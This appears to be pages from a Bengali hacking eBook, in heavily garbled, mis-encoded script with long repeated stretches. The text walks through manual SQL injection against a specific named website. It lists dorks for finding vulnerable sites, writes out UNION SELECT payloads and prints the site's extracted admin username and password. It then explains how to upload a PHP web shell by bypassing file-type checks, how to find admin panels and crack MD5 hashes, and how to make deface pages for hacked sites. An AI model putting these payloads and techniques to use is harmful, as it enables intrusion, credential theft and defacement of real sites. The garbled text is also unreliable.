AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 53: Hacking Bangla eBook

এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ

মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ

Current DB XXXX

কতনচছচয ছকতফটি সদখন

এফায ―Tables tab এ মান

এফায ―Get DBlsquos এ কতিক করন

এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema

দটা পাআর

―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক

শধ ভাতর ―paul_third কতচছরকট করন

এফায ―Get Tables এ কতিক করন

তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন

এখন অভযা administration panel টি যাক কযচছত সচিা কযফ

এখন ―admin table টি সচক করন

এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না

এফায ―Get Columns ফাটচছন কতিক করন

তাচছর কতনচছচয ভচছতা অচছফ

এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)

এফায ―Get Data টযাচছফ কতিক করন

তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ

অফায ―Find Admin টযাচছফ কতিক করন

তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ

এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয

তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না

ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন

এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ

তাচছর অভযা Administration Panel সরাভ

এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন

মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade

সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা

তাচছর কথা না ফাকতযচছয শর ককতয

পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ

এয জনয অভযা dork use কযফ

inurlindexphpid= inurltrainersphpid=

inurlbuyphpcategory= inurlarticlephpID=

inurlplay_oldphpid= inurldeclaration_morephpdecl_id=

inurlPageid= inurlgamesphpid=

inurlpagephpfile= inurlnewsDetailphpid=

inurlgalleryphpid=

এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয

8500 SQL dorks list

httppastebincomdzknXjgP or

httppastebincomayV6tNS2

পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ

inurlnews-and-eventsphpid=

এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ

সমভন httpwwweastodissaacinnews-and-eventsphpid=22

ছকতফঃ

পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য

এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা

এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ

httpwwweastodissaacinnews-and-eventsphpid=22

মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable

সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the

right syntax to use near rdquorsquo at line 1Prime

ছকতফঃ

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 54: Hacking Bangla eBook

এফায ―Tables tab এ মান

এফায ―Get DBlsquos এ কতিক করন

এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema

দটা পাআর

―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক

শধ ভাতর ―paul_third কতচছরকট করন

এফায ―Get Tables এ কতিক করন

তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন

এখন অভযা administration panel টি যাক কযচছত সচিা কযফ

এখন ―admin table টি সচক করন

এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না

এফায ―Get Columns ফাটচছন কতিক করন

তাচছর কতনচছচয ভচছতা অচছফ

এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)

এফায ―Get Data টযাচছফ কতিক করন

তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ

অফায ―Find Admin টযাচছফ কতিক করন

তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ

এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয

তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না

ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন

এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ

